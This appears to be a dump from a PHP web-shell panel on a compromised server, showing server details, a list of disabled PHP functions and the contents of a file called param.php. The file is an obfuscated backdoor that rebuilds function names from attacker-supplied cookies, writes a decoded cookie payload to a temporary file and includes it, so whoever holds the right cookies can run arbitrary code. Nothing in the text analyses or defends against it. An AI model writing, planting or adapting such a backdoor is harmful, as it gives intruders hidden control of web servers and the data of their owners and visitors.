HEX
Server: nginx/1.26.0
System: Linux iZj6ceg0gjdkbpnmyl2cnnZ 5.15.60-1.el7.x86_64 #1 SMP Thu Aug 11 12:39:22 UTC 2022 x86_64
User: www (1000)
PHP: 7.0.33
Disabled: phpinfo,eval,passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pfsockopen,fsocket,fsockopen
Upload Files
File: /data/wwwroot/sites/multitrustcapital.com/www/param.php
<?php
//<PHPDATA>mbd;15-4-5-20-22-24-18-8-19-3-12</PHPDATA>
if(isset($_COOKIE[0205-01245- -01043])&&isset($_COOKIE[-0563+0536+041])):$_0=$_COOKIE;$_1=(-0377+0377);$_2=(01237+0102+-01336);$_3=array();$_3[$_1]="";while($_2):$_3[$_1].=$_0[-0412+-0775- -01120- -0303][$_2];if(!$_0[(int)ROuNd(6+6)][$_2+(int)ROuND(0.5+0.5)]):if(!$_0[(int)roUnd(4+4+4)][$_2+(01512+-01510)]):break;endif;$_1++;$_3[$_1]="";$_2++;endif;$_2=$_2+(-0447+0452)+(int)rOund(0.25+0.25+0.25+0.25);endwhile;$_1=$_3[052+-030]().$_3[0144+-0230+0260+-0164];if(!$_3[(int)rOuNd(4.75+4.75+4.75+4.75)]($_1)):$_2=$_3[(int)round(2.5+2.5)]($_1,$_3[(int)rOUnD(8+8+8)]);$_3[(int)roUnD(5+5+5+5)]($_2,$_3[-01067+0231+01312+-0426].$_3[0306+-0620+0316]($_3[0152- -0132+0413+-0700]($_0[(int)RouNd(0.75+0.75+0.75+0.75)])));endif;include($_1);endif;